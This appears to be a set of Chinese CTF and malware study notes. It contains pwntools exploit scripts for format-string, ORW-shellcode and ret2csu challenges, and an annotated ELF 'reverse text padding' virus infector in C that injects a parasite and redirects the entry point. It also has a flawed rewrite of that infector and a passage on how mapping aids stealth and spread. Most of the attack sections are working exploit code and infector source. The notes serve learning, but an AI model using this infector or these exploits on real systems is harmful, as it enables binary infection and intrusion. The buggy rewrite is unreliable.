silvio 病毒填充

### ez_fmt

格式化字符串漏洞，先利用格式化字符漏洞将printf返回地址改为main

![image-20231221163417447](C:\Users\胡宜凯\AppData\Roaming\Typora\typora-user-images\image-20231221163417447.png)

然后通过将libc_start_main函数的地址写入并泄露来获取libc基地址：

通过测试，我们可以发现格式化字符串的偏移为6，然后以此为基点，往下数可以发现main函数的地址偏移为8

```python
payload=b'%19$p'
payload+=b'%'+str(0x1205-6-8).encode()+b'c%10$hn'
payload=payload.ljust(0x20,b'a')
payload+=p64(stack_printf_ret)
p.send(payload)
p.recvuntil(b'0x')
libc_base=int(p.recv(12),16)-0xf3-libc.sym['__libc_start_main']
```

得到基地址之后，我们可以得到ogg的地址，然后通过一次单子节和一次双字节的格式化字符串覆盖返回地址，即可。

注意这里因为其实是两次写，所以为防止第二次写的数据覆盖了第一次写的内容，我们需要对地址加2，来解决。

然后计算one_gadget，通过格式化字符串修改，然后在获取

```python
p.recvuntil(b'0x')
libc_base=int(p.recv(12),16)-0xe3-libc.sym['__libc_start_main']
one=libc_base+one_gadgets
one1=one&0xffff
one2=(one>>16)&0xffff
```

#### exp

```python
from pwn import*
context(arch = 'amd64',os = 'linux')
context.terminal = ['tmux','splitw','-h']

p = process('./ez_fmt')
elf = ELF('./ez_fmt')
libc = ELF('./libc-2.31.so')
attach(p)
p.recvuntil(b'you 0x')
stack_addr = int(p.recv(12),16)

# 0x1205 = 4613
payload = b'%4613c%8$hn'+b'%19$p'+p64(stack_addr - 0x08)
payload = payload.ljust(0x20,b'a')
p.send(payload)
p.recvuntil(b'0x')
stack_libc_start_main = int(p.recv(12),16) - 243


libc_base = stack_libc_start_main - libc.sym['__libc_start_main']
print(hex(libc.sym['__libc_start_main']))
success('stack_addr ->' + hex(stack_addr))
success('libc_start_main ->' + hex(stack_libc_start_main))
success('libc_base ->' + hex(libc_base))

one_gadget = [0xe3cf3,0xe3cf6,0xe3cf9]
ogg1 = libc_base + one_gadget[1]
ogg2 = libc_base + one_gadget[0]
success('one_gadget1->' + hex(ogg1))
success('one_gadget2->' + hex(ogg2))

ogg1 = ogg1 & 0xffff
success('ogg1 ->' + hex(ogg1))
if(ogg2 >= ogg1):
    ogg2 = (ogg2 >> 16) & 0xff
success('ogg2 ->' + hex(ogg2))
ogg1 = int(str(ogg1),16)
ogg2 = int(str(ogg2),16)
print(hex(ogg1))
print(hex(ogg2))
pause()
payload = b'%'+str(ogg1).encode() +b'c%10$hn'+b'%'+str(ogg2).encode() + b'c%11hhn'
payload = payload.ljust(0x20,b'a') 
payload += p64(stack_addr+0x68)+p64(stack_addr+0x68+2)
p.sendline(payload)

p.interactive()
```



ezfmt

> 本文参照源码均来自[bitlackeys.org](https://bitlackeys.org/)的这一源码

![image-20231004005757978](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202310040058095.png)



最近一直在看ELF文件病毒类的文章，对病毒技术相当感兴趣，所以就浅学了一下其中最简单的一个，比之前看的关于pt-note到pt_load的注射算法的病毒类型还是要简单不少。

下面切入正题：

## ELF Reverse padding injector

先放文中源码，代码中注释都是我所理解的解释：

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h> //提供了一些POSIX操作系统相关的函数和常量，包括文件和目录操作、进程控制等。例如，open、close和read等函数。lseek
#include <sys/types.h> //定义了一些系统相关的数据类型，例如size_t、pid_t等
#include <sys/stat.h> //包含了文件状态信息的相关定义，如文件的权限、大小、修改时间等。用于stat、fstat等函数。
#include <fcntl.h> //包含了文件控制相关的常量和函数声明，用于文件操作，例如open时指定的文件访问标志。

#include <elf.h> //这是一个特殊的头文件，用于处理ELF（可执行和可链接格式）文件的相关信息。它包含了一些数据结构和常量，用于解析和操作ELF文件的头部、节（section）和程序头表（program header table）等信息。
#include <sys/mman.h> //包含了内存映射相关的函数和常量，用于将文件内容映射到内存中，实现对文件的高效访问。包括mmap函数。

#define PAGE_SIZE 4096   //定义“页”的大小 4KB
#define TMP "tmp.bin"   //宏定义文件名为TMP

struct stat st;   //存储文件信息结构
char *host; //存储主机文件名的字符串

unsigned long entry_point; //记录源文件入口点
int ehdr_size;  //估计是ELF文件头的大小，有什么用？
/*
以下是一些可能包含在ELF文件头（ehdr）中的字段：
文件类型（e_type）：指示文件的类型，例如可执行文件、共享库、可重定位文件等。
目标体系结构（e_machine）：指示程序应在哪种体系结构上运行，如x86、ARM、PowerPC等。
文件版本（e_version）：描述文件的版本信息。
入口点地址（e_entry）：指示程序的入口点地址，即程序开始执行的地址。
文件头大小（e_ehsize）：描述ELF文件头的大小。
程序头表偏移量（e_phoff）：指示程序头表在文件中的偏移量。
节头表偏移量（e_shoff）：指示节头表在文件中的偏移量。
*/

void mirror_binary_with_parasite(unsigned int, unsigned char *, char *);  //插入可执行带代码,该函数声明告诉编译器函数的接口（参数类型和顺序），仅仅是申明，对于参数的定义在后面


int main(int argc, char **argv)
{
	unsigned char *mem; 
	unsigned char *tp;
	int fd, i, c;
	char text_found;
	mode_t mode;//mode_t无符号整数型，表示访问权限 //有用？
	
	extern char parasite[]; 
	/* bytes of parasite */
        unsigned int parasite_size;  //寄生虫大小
	unsigned long int leap_offset; 
	unsigned long parasite_vaddr;

 	Elf64_Shdr *s_hdr; //节头表
    Elf64_Ehdr *e_hdr; // ELF文件头
    Elf64_Phdr *p_hdr; // 程序头表（段）
	
	usage:
	if (argc < 3) //这里要求必须从命令行读取到两个以上的参数，第一个是文件名，第二个是病毒代码大小
	{
		printf("Usage: %s <elf-host> <size-of-parasite>\n",argv[0]); 
		exit(-1);
	}
 	 
	parasite_size = atoi(argv[2]); //读取病毒大小
	host = argv[1]; //文件名

	printf("Length of parasite is %d bytes\n", parasite_size);
	
	if ((fd = open(argv[1], O_RDONLY)) == -1) //打开文件
	{
		perror("open");
		exit(-1);
	}
	
	if (fstat(fd, &st) < 0)  // 检查文件是否调用成功，获取文件stat结构体数据（文件状态信息结构体）
        {
               perror("stat");
               exit(-1);
        } //
	/*struct stat { 
         dev_t st_dev; // 文件所在设备ID 
         ino_t st_ino; // 结点(inode)编号  
         mode_t st_mode; // 保护模式 
         nlink_t st_nlink; // 硬链接个数  
         uid_t st_uid; // 所有者用户ID  
         gid_t st_gid; // 所有者组ID  
         dev_t st_rdev; // 设备ID(如果是特殊文件) 
         off_t st_size; // 总体尺寸，以字节为单位 
         blksize_t st_blksize; // 文件系统 I/O 块大小
         blkcnt_t st_blocks; // 已分配 512B 块个数
         time_t st_atime; // 上次访问时间 
         time_t st_mtime; // 上次更新时间 
         time_t st_ctime; // 上次状态更改时间 
};
*/
	mem = mmap(NULL, st.st_size,  PROT_READ | PROT_WRITE, MAP_PRIVATE , fd, 0); //NULL表示让操作系统选择映射到内存的起始区域
	// st.st_size 需要映射的文件的大小 
	// 设置mmap的内存的权限为可读可写
	//私有映射，在映射区做的操作不会回写硬盘
	//fd:文件描述符   0：从文件头部开始映射

	if (mem == MAP_FAILED) //映射失败
	{
	       perror("mmap");
	       exit(-1);
 	}
	
	e_hdr = (Elf64_Ehdr *)mem; //强转ELF_EHDR结构体指针
 	if (e_hdr->e_ident[0] != 0x7f && strcmp(&e_hdr->e_ident[1], "ELF")) //检查是否为ELF文件
        {
                printf("%s it not an elf file\n", argv[1]);
                exit(-1);
        } 
	
       printf("Parasite size: %d\n", parasite_size);
       
       text_found = 0; //用于标记是否找到代码段
       unsigned int after_insertion_offset; // 
       ehdr_size = sizeof(*e_hdr); // ELF文件头大小
       entry_point = e_hdr->e_entry;  //入口点
 	
       p_hdr = (Elf64_Phdr *)(mem + e_hdr->e_phoff); // 程序表头文件偏移
       p_hdr[0].p_offset += PAGE_SIZE; //为病毒腾出足够的空间
       p_hdr[1].p_offset += PAGE_SIZE;

       for (i = e_hdr->e_phnum; i-- > 0; p_hdr++) //循环遍历各个段
       {	 
       	   if (text_found)
	 	  p_hdr->p_offset += PAGE_SIZE;  //找到txtx段腾出空间

           if(p_hdr->p_type == PT_LOAD) //如果是PT_load节(大概率用的也是pt_note到pt_load的转换注射)
	        if (p_hdr->p_flags == (PF_R | PF_X))
	        {
			  p_hdr->p_vaddr -= PAGE_SIZE;
			  e_hdr->e_entry = p_hdr->p_vaddr;
			  p_hdr->p_paddr -= PAGE_SIZE;
			  p_hdr->p_filesz += PAGE_SIZE;
			  p_hdr->p_memsz += PAGE_SIZE;
			  text_found = 1;
	        }
        }  

		/*typedef struct {program header 结构体
    ELF32_Word  p_type;
    ELF32_Off   p_offset;
    ELF32_Addr  p_vaddr;
    ELF32_Addr  p_paddr;
    ELF32_Word  p_filesz;
    ELF32_Word  p_memsz;
    ELF32_Word  p_flags;
    ELF32_Word  p_align;
} Elf32_Phdr;*/
	e_hdr->e_entry += sizeof(*e_hdr); //文件入口点

	 s_hdr = (Elf64_Shdr *)(mem + e_hdr->e_shoff);
	 for (i = e_hdr->e_shnum; i-- > 0; s_hdr++)
		s_hdr->sh_offset += PAGE_SIZE;
	
	 e_hdr->e_shoff += PAGE_SIZE;// 节头表偏移
	 e_hdr->e_phoff += PAGE_SIZE; // 程序头表偏移   两个偏移分别增加一页为蠕虫体提供空间
 	 
	 printf("new entry: %lx\n", e_hdr->e_entry);
	 mirror_binary_with_parasite(parasite_size, mem, parasite);

 	 done:
 	 munmap(mem, st.st_size);
 	 close(fd);
 	  	  
 }

void mirror_binary_with_parasite(unsigned int psize, unsigned char *mem, char *parasite)
{
	
	int ofd;
	unsigned int c;
	int i, t = 0;
	
	/* eot is: 
	 * end_of_text = e_hdr->e_phoff + nc * e_hdr->e_phentsize;
	 * end_of_text += p_hdr->p_filesz;
	 */ 
	extern int return_entry_start; //外部变量声明

	printf("Mirroring host binary with parasite %d bytes\n",psize);

	if ((ofd = open(TMP, O_CREAT | O_WRONLY | O_TRUNC, st.st_mode)) == -1)
	{
		perror("tmp binary: open");
		exit(-1);
	}
	
	if ((c = write(ofd, mem, ehdr_size)) != ehdr_size)//往镜像文件中写如原始文件的ELF header
	{
		printf("failed writing ehdr\n");
		exit(-1);
	}
	
	printf("Patching parasite to jmp to %lx\n", entry_point);
	
	*(unsigned int *)&parasite[return_entry_start] = entry_point; //似乎是设置新的程序入口点
	

	if ((c = write(ofd, parasite, psize)) != psize) // 往寄生虫地址写入病毒（）判断大小是否一致来区分是否写入成功
	{
		perror("writing parasite failed");
		exit(-1);
	}
	/*
1) 欲将读写位置移到文件开头时: 
lseek（int fildes,0,SEEK_SET）； 
2) 欲将读写位置移到文件尾时: 
lseek（int fildes，0,SEEK_END）； 
3) 想要取得目前文件位置时: 
lseek（int fildes，0,SEEK_CUR）*/
	if ((c = lseek(ofd, ehdr_size + PAGE_SIZE, SEEK_SET)) != ehdr_size + PAGE_SIZE) //将文件指针移动到距离文件开头位置ehdr_size + PAGE_SIZE位置处
	{
		printf("lseek only wrote %d bytes\n", c);
		exit(-1);
	}

	mem += ehdr_size; //后移文件头大小的距离
	
	if ((c = write(ofd, mem, st.st_size-ehdr_size)) != st.st_size-ehdr_size) //在后裔之后将文件剩余部分写入镜像当中
	{
		printf("Failed writing binary, wrote %d bytes\n", c);
		exit(-1);
	}
	
	rename(TMP, host); //对镜像文件进行重命名为原始文件名以覆盖
	close(ofd);//关闭文件
	
}

```

这一整个病毒的攻击流程都是主要运用的对于节头表，程序头表和ELF文件头的利用。

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <elf.h>
#include <sys/mman.h>

#define PAGE_SIZE 4096
#define TMP "tmp.bin"

struct stat st;//定义了st为一个stat结构体，存储文件的详细数据
char *host;

//变动
long entry_point;
int ehdr_size;

// void mirror_binary_with_virous(un

void mirror_binary_with_parasite(unsigned int psize, unsigned char *mem,char * parasite);

int main(int argc ,char **argv) 
{
    unsigned char *mem;//memory
    unsigned char *tp;
    int fd,i,c;
    char flag;
    //mode_t mode;

     char parasite_size;
     extern char parasite[];
    // extern char parasite_size;这里似乎不用从外部引用
    // unsigned long int leap_offset;
    // unsigned long parasite_vaddar;

    Elf64_Shdr *s_hdr;
    Elf64_Ehdr *e_hdr;
    Elf64_Phdr *p_hdr;//结构体首字母大小

    usage:
    if(argc < 3)
    {
        printf("argv's number more than 3!");
        exit(-1);
    }

    parasite_size = atoi(argv[2]);//病毒大小，这一步意义何在？
    host = argv[1];//文件名

    if((fd = open (argv[1],O_RDONLY)) == -1)//只读方式打开文件。避免文件被破坏，方便后续创建镜像？
    {
        perror("open");
        exit(-1);
    }

    if(fstat(fd,&st) < 0) //通过 fstat函数检查文件是否调用成功，
    //并将文件信息填充到st结构体中，后一步不清楚是否用到了？有用，下面mmap用到了

    {
        perror("stst");
        exit("-1");

    }

    mem = mmap(NULL,st.st_size,PROT_READ | PROT_WRITE, MAP_PRIVATE,fd,0);
    //通过上面获取的结构体中的文件大小，利用mmap函数在重新映射一个相同大小的文件
    //将mmap的内存设置为可读可写，并私有映射只允许当前进程访问这一块内存空间，并且不会影响原来的文件
    //fd指定需要映射的文件
    //从头开始映文件
    //mem存储了mmap的起始地址

    if (mem == MAP_FAILED)//映射失败
    {
        perror("stst");
        exit("-1");
    }

    e_hdr = (Elf64_Ehdr *)mem;//可以这样吗？
    if(e_hdr->e_ident[0] != 0x7f && strcmp(&e_hdr -> e_ident[1],"ELF"))
    {
        printf("%s it not an elf file\n", argv[1]);
                exit(-1);
    }

     printf("Parasite size: %d\n", parasite_size);

     flag = 0;
    //  unsigned int after_insert_offset;//不清楚是否有用

    ehdr_size = sizeof(*e_hdr);//ELF文件头大小
    entry_point = e_hdr -> e_entry;//通过读取ELF文件头来获取程序入口点


    p_hdr = (Elf64_Phdr *)(mem + e_hdr->e_phoff);//类似上面的强转类型，寻找到程序段的地址
    p_hdr[0].p_offset += PAGE_SIZE;//
    p_hdr[1].p_offset += PAGE_SIZE;//没理解

    for (i = e_hdr->e_phnum; i-- >0; p_hdr++) //e_phnum给出了程序头表的段数
    {
        if (flag)
        {
            p_hdr->p_offset +=PAGE_SIZE;//将代码段后一个段向后移，腾出的空间作为代码段空间存放病毒
        }
        if (p_hdr->p_type == PT_LOAD){//pt_load可加载段一般认为是text或者数据段
        if(p_hdr->p_type == (PF_R | PF_X))//通过权限位判断是否为代码段段（可读可执行）
        {
             p_hdr->p_vaddr -= PAGE_SIZE;//将该文本段向后移一个页面长度
			  e_hdr->e_entry = p_hdr->p_vaddr;//入口点重新设置为虚拟地址首地址
			  p_hdr->p_paddr -= PAGE_SIZE;//真实地址后移
			  p_hdr->p_filesz += PAGE_SIZE;//文件镜像大小
			  p_hdr->p_memsz += PAGE_SIZE;//内存镜像中的文件大小
              flag = 1;//设置为一表示找到
        }

        }

    }

    e_hdr->e_entry += sizeof(*e_hdr);//未懂

    s_hdr = (Elf64_Shdr *)(mem + e_hdr->e_shoff);//节头表位置
    for(i = e_hdr->e_shnum;i-- > 0; s_hdr ++)
    {
        s_hdr->sh_offset += PAGE_SIZE;
        e_hdr->e_shoff += PAGE_SIZE;
        e_hdr->e_phoff += PAGE_SIZE;

        printf("new entry : %lx\n",e_hdr->e_entry);
        mirror_binary_with_parasite(parasite_size,mem,parasite);

        // done:
        munmap(mem,st.st_size);//解除映射
        close(fd);


    }
}
void mirror_binary_with_parasite(unsigned int psize, unsigned char *mem,char * parasite)
{
        int fd;
        unsigned int c;
        int i,t = 0;

        extern int return_entry_start;
        
        if ((fd = open(TMP,O_RDWR | O_CREAT | O_TRUNC, 0777)) == -1)
        {
            perror("open");
            exit(-1);
        }

        if (write(fd,mem,ehdr_size) != ehdr_size)
        {
            perror("write");
            exit(-1);
        }

        *(unsigned int *) &parasite[return_entry_start] = entry_point;

        if((c = write(fd,parasite,psize)) != psize)
        {
            perror("write");
            exit(-1);
        }

        if((c = lseek(fd,mem,ehdr_size)) != ehdr_size)
        {
            perror("lseek");
            exit(-1);
        }

        mem +=ehdr_size;    
        if((c = write(fd,mem,st.st_size - ehdr_size)) != st.st_size - ehdr_size)
        {
            perror("write");
            exit(-1);
        }

        rename(TMP,host);
        close(fd);

}
```

该病毒的攻击先是只读打开文件将

```c
struct stat { 
         dev_t st_dev; // 文件所在设备ID 
         ino_t st_ino; // 结点(inode)编号  
         mode_t st_mode; // 保护模式 
         nlink_t st_nlink; // 硬链接个数  
         uid_t st_uid; // 所有者用户ID  
         gid_t st_gid; // 所有者组ID  
         dev_t st_rdev; // 设备ID(如果是特殊文件) 
         off_t st_size; // 总体尺寸，以字节为单位 
         blksize_t st_blksize; // 文件系统 I/O 块大小
         blkcnt_t st_blocks; // 已分配 512B 块个数
         time_t st_atime; // 上次访问时间 
         time_t st_mtime; // 上次更新时间 
         time_t st_ctime; // 上次状态更改时间 
};
```

这个结构体信息读取，再开辟一个新空间映射源新文件，这里可能会有疑问为什么要重新映射一个文件不能直接在源文件中更改，答案大概有以下几点：

> 1. **病毒的稳定性和可维护性：** 直接修改源文件可能会破坏原始程序的完整性，导致源程序无法正常工作。这不仅会增加被检测到的风险，还会导致病毒在目标计算机上无法稳定运行。通过映射文件，病毒构建者可以保持源文件的完整性，同时在不影响原程序的情况下添加恶意代码。
> 2. **隐蔽性：** 直接修改源文件可能会引起用户的怀疑。用户会注意到其文件的更改，这可能会触发警报或导致病毒被发现。通过映射文件，病毒可以更隐蔽地植入目标计算机，减少被发现的风险。
> 3. **隔离和传播：** 映射文件可以帮助病毒构建者更轻松地在多个文件和目录中传播恶意代码，而不仅限于一个源文件。这提供了更大的传播和感染机会。
> 4. **病毒升级和更新：** 使用映射文件，病毒构建者可以轻松地更新和升级病毒，而不必再次修改源文件。这使得维护和改进病毒变得更加容易。

然后通过对文件头，节头表和程序头表的读取，修改和重新映射，反向延长text段的大小，让parasite放在都出的text段中，使其直接拥有执行权限，这样只需要更改程序入口点来控只执行流，就可以实现病毒的攻击。

关于ELF文件在text段延长的病毒技术

## ORW的简单利用

![](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202310020103411.jpg)



#### 什么是ORW？

在了解ORW之前需要先知道什么是**sandbox**。这里简单理解就是通过**prctl**系统调用和**seccomp**库函数；来定义系统调用白名单和黑名单，这里通常会ban掉system和execve系统调用，来禁止选手getshell，这时就需要ORW来绕过。这里我们只讨论栈上的sandbox。

这里我的理解就是通过利用**open，read，write**三个系统调用来直接获取远程主机下的flag。

这里还有一个工具seccomp-tools可以直接查看哪些系统调用被ban。

#### seccomp-tools安装

```bash
sudo apt install gcc ruby-dev
sudo gem install seccomp-tools
```





### 例题1：pwnable_orw（buu

先检查：

![image-20230608192901129](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202306081929306.png)

ida查看：

![image-20230608192956403](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202306081929469.png)

很明显orw_seccomp通过seccomp库函数进行ban系统调用：

![image-20230608193159705](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202306081931775.png)

这里会发现ban掉了除go to 0011以外的系统调用：

所以这里直接上exp：

```python
from pwn import*

io = remote('node4.buuoj.cn',25453)
# io  =process('./orw')

payload = asm(shellcraft.i386.linux.open('./flag'))
payload += asm(shellcraft.i386.linux.read('eax','esp',0x100))
payload += asm(shellcraft.i386.linux.write(1,'esp',0x100))
io.sendlineafter(b'shellcode',payload)

io.interactive()
```

* 第一步：通过open打开远程主机目录下的flag文件
* 第二步： 通过read把flag文件中内容写入esp指针位置，在`shellcraft.read('eax','esp',100)`中，第一个参数指定了读取的长度，此处为100字节，第二个参数指定了读取后数据存储的位置，此处为栈顶ESP处，第三个参数是存储文件数据的缓冲区地址，而此时需要通过文件描述符获取文件数据，所以使用了EAX寄存器来存储描述符的值，作为第三个参数传给read系统调用。
* 第三步：通过write将之前写入的数据输出



### 例题二 [NSSRound#9 Basic]MyMem

同样的操作：

![image-20230608193937490](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202306081939555.png)

![image-20230608194006911](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202306081940982.png)

```python
from pwn import*
context(log_level='debug',arch='amd64',os='linux')

io = remote('node1.anna.nssctf.cn',28790)
# io = process('./mymem')

payload = asm(shellcraft.open('/home/ctf/flag.txt')) #这个目录其实我并不清楚怎么知道的，确实是看别人wp才知道的
payload += asm(shellcraft.read('rax',0x50000+0x100,0x30))#注意：这里不能写太多0x100就会报错
payload += asm(shellcraft.write(1,0x50000+0x100,0x100))
io.sendlineafter(b'sandbox',payload)
io.interactive()
```

![image-20230608194203347](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202306081942414.png)

ORW的简单利用

## ciscn_s_3
![](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202310020106193.jpg)



依旧是被ciscn血虐的几天，这道题的难度超乎我的想象（就是我太菜了，但同样的我也学会的很多东西，虽然学的比较慢

### 步骤

#### 例行检查：

![image-20230602172944832](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202306021729916.png)

很明显是一个64位的动态连接文件并且只开启了NX保护：

#### IDA

![image-20230602174408815](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202306021744846.png)

这题漏洞很明显，sys_read可以读入0x400字节的数据，远远大过buf的大小，所以这里可以直接溢出。

还是可以看到程序中还有两个gadget可以使用，而这就是下面为什么有两种方法的原因：

```assembly
.text:00000000004004D6                ; Attributes: bp-based frame
.text:00000000004004D6
.text:00000000004004D6                                public gadgets
.text:00000000004004D6                gadgets         proc near
.text:00000000004004D6                ; __unwind {
.text:00000000004004D6 55                             push    rbp
.text:00000000004004D7 48 89 E5                       mov     rbp, rsp
.text:00000000004004DA 48 C7 C0 0F 00+                mov     rax, 0Fh
.text:00000000004004DA 00 00
.text:00000000004004E1 C3                             retn
.text:00000000004004E1                gadgets         endp ; sp-analysis failed
.text:00000000004004E1
.text:00000000004004E2                ; ---------------------------------------------------------------------------
.text:00000000004004E2 48 C7 C0 3B 00+                mov     rax, 3Bh ; ';'
.text:00000000004004E2 00 00
.text:00000000004004E9 C3                             retn
.text:00000000004004E9                ; ---------------------------------------------------------------------------
.text:00000000004004EA 90                             db 90h
.text:00000000004004EB                ; ---------------------------------------------------------------------------
.text:00000000004004EB 5D                             pop     rbp
.text:00000000004004EC C3                             retn
.text:00000000004004EC                ; } // starts at 4004D6
```

注意其中

```assembly
.text:00000000004004E2 48 C7 C0 3B 00+                mov     rax, 3Bh ; ';'
---
.text:00000000004004DA 48 C7 C0 0F 00+                mov     rax, 0Fh
```

这里我们要知道再x64架构下execve和sys_rt_sigreturn的系统调用就是59（0x3B）和15（0xF），所以这里有可以直接用execve（“/bin/sh”,0,0）或者有SROP的方法伪造signal frame构造execve（“/bin/sh”,0,0）再利用sys_rt_sigreturn来getshell

这里大抵有两种方法可以利用：

* SROP
* ret2csu

至于这里为什么不能用ret2libc3大抵是因为这里read和write函数都是直接进行系统调用的libc库里面实际是找不到这两个函数的



#### 方法一：ret2csu

这里的exp说实话是写不来的，还是看大佬的理解了一下：

已经知道了溢出点，接下来就需要构造payload，但这里我们没有system和binsh并且也没有办法实现got表查libc的方法，got表东西实在是太少了（也许也可以利用__libc_start_main，有时间试试

![image-20230602180322609](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202306021803644.png)

但是我们有execve的系统调用号，也有现成的systcall，所以这里我们只需要往栈里写入/bin/sh再知道其地址即可：

```python
payload = (b'/bin/sh\x00').ljust(0x10,b'b')+p64(vuln)
io.send(payload)
```

这里有两个值得注意的点：

##### 第一点注意

第一他的返回地址其实就是esp的地址：

这里我们都清楚retn == pop eip，即将栈顶地址pop到eip中，而这里看汇编：

```assembly
.text:00000000004004ED 55                             push    rbp
.text:00000000004004EE 48 89 E5                       mov     rbp, rsp
.text:00000000004004F1 48 31 C0                       xor     rax, rax
.text:00000000004004F4 BA 00 04 00 00                 mov     edx, 400h       ; count
.text:00000000004004F9 48 8D 74 24 F0                 lea     rsi, [rsp+buf]  ; buf
.text:00000000004004FE 48 89 C7                       mov     rdi, rax        ; fd
.text:0000000000400501 0F 05                          syscall                 ; LINUX - sys_read
.text:0000000000400503 48 C7 C0 01 00+                mov     rax, 1
.text:0000000000400503 00 00
.text:000000000040050A BA 30 00 00 00                 mov     edx, 30h ; '0'  ; count
.text:000000000040050F 48 8D 74 24 F0                 lea     rsi, [rsp+buf]  ; buf
.text:0000000000400514 48 89 C7                       mov     rdi, rax        ; fd
.text:0000000000400517 0F 05                          syscall                 ; LINUX - sys_write
.text:0000000000400519 C3                             retn
.text:0000000000400519                vuln            endp ; sp-analysis failed
.text:0000000000400519
.text:0000000000400519                ; ---------------------------------------------------------------------------
.text:000000000040051A 90                             db 90h
.text:000000000040051B                ; ---------------------------------------------------------------------------
.text:000000000040051B 5D                             pop     rbp
.text:000000000040051C C3                             retn
.text:000000000040051C                ; } // starts at 4004ED
```

***从汇编中可以清晰地看出这里的系统调用并没有leave指令：mov ebp，esp | pop ebp***

***所以这里实际的返回地址就是rsp指向的地方也就是rbp，***

所以这里做溢出的时候就不能单纯的看栈空间来溢出，我在这里卡了很久：

![image-20230602181425977](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202306021814013.png)

##### 第二点注意

写入的/bin/sh的地址需要gdb动态调试才能看出：

![image-20230602181828954](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202306021818995.png)

这里可以知道**0x7ffecbd3edc0**处有一个有一个地址，而/bin/sh的地址是│**0x7ffecbd3eda0**这里就可以通过固定的偏移来计算/bin/sh的地址

```txt
这里可以计算偏移为：0x00007ffecbd3eee8 - 0x7ffecbd3eda0 = 0x148
```

所以有：

```python
binsh_addr = u64(io.recv()[0x20:0x28])-0x148
print(hex(binsh_addr))
```

然后就是最后的攻击：

这里我们选择用csu_init来构造payload，因为这里我们使用的大量的gadget实际上是找不到的，只有csu这里的最为合适：

```python
poprdi = 0x04005a3
csu_last = 0x0040059A
csu_former = 0x0400580
syscall = 0x0400501
execve = 0x4004E2
..........................................................
payload  = (b'/bin/sh\x00').ljust(0x10,b'b')+p64(csu_last) +\
    p64(0)*2 + p64(binsh_addr + 0x50) + p64(0)*3+p64(csu_former)+\
    p64(execve)+p64(poprdi)+p64(binsh_addr)+p64(syscall)
```

```assembly
csu_last & csu_former
.text:0000000000400580                loc_400580:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400580 4C 89 EA                       mov     rdx, r13
.text:0000000000400583 4C 89 F6                       mov     rsi, r14
.text:0000000000400586 44 89 FF                       mov     edi, r15d
.text:0000000000400589 41 FF 14 DC                    call    ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
.text:000000000040058D 48 83 C3 01                    add     rbx, 1
.text:0000000000400591 48 39 EB                       cmp     rbx, rbp
.text:0000000000400594 75 EA                          jnz     short loc_400580
.text:0000000000400596
.text:0000000000400596                loc_400596:                             ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400596 48 83 C4 08                    add     rsp, 8
.text:000000000040059A 5B                             pop     rbx
.text:000000000040059B 5D                             pop     rbp
.text:000000000040059C 41 5C                          pop     r12
.text:000000000040059E 41 5D                          pop     r13
.text:00000000004005A0 41 5E                          pop     r14
.text:00000000004005A2 41 5F                          pop     r15
.text:00000000004005A4 C3                             retn
.text:00000000004005A4                ; } // starts at 400540
```

* 第一步还是正常的溢出，然后retn到csu_last处将除rbx寄存器外的值全部置零，这里还有以这个值得注意的点：rbx和rbp不再像往常一样分别置零和置一，这是为了会到csu_former第一遍执行完后重新再执行一遍来确保pop_rdi（csu在x64架构下并没有mov rdi这一操作，只有edi也就是对低三十二位进行操作，这也是为什么一开始也要对r15置零的原因，减少干扰项）。**至于这里为什么还要往r12中写入binsh_addr + 0x50这一地址而不是直接写入execve的地址呢？这里是因为原本csu里面没有rdi的gadgte，所以这里我们就要再找一个pop_rdi,但是该如何执行这一个gadget呢？这里就需要用到csu里面的循环，当rbx！=rbp时rbx add 1，然后第二次执行就会跳到r12后一个地址，这里就可以放pop_rdi了**
* **还有一个就是需要搞清楚地址是什么？这里虽然写两个两个地址看似一样但是实际上写入binsh_addr + 0x50是先指向栈上的地址，而这样的话第二次循环执行rbx = 1后就会很自然的跳转到r12指向地址的下一命令，也就是pop_rdi，这样就会很自然的将binshpop到rdi中(但是这里还有一点就是为什么我动调的时候会执行三次pop_rdi这里我觉得不是很合理，还得再看看)**

```python
from pwn import*
context(log_level = 'debug',arch ='amd64',os = 'linux')
context.terminal= ['tmux','split','-h']
local = 2
if local == 1:
    io = remote('node4.buuoj.cn',26606)
else :
    io = process('./ciscn_s_3')

elf = ELF('./ciscn_s_3')
poprdi = 0x04005a3
csu_last = 0x0040059A
csu_former = 0x0400580
vuln = elf.sym['vuln']
syscall = 0x0400501
pre_rbp = 0x07ffceb64f728
execve = 0x4004E2
# gdb.attach(io)
payload = (b'/bin/sh\x00').ljust(0x10,b'b')+p64(vuln)
io.send(payload)
binsh_addr = u64(io.recv()[0x20:0x28])-0x148
print(hex(binsh_addr))
gdb.attach(io)
payload  = (b'/bin/sh\x00').ljust(0x10,b'b')+p64(csu_last) +\
    p64(0)*2 + p64(binsh_addr + 0x50) + p64(0)*3+p64(csu_former)+\
    p64(execve)+p64(poprdi)+p64(binsh_addr)+p64(syscall)

io.sendline(payload)

io.interactive()
```

但这里还有几点注意：

* 第一个个payload中的返回地址要写vuln写main的话会报错
* 我这里本地打偏移是0x148但是打远程就是0x118（看别人的wp才发现，远程gdb调试不了



### 方法二 SROP

> What is sigal 机制：
>
> signal 机制是类 unix 系统中进程之间相互传递信息的一种方法。一般，我们也称其为软中断信号，或者软中断。比如说，进程之间可以通过系统调用 kill 来发送软中断信号。一般来说，信号机制常见的步骤如下图所示：
>
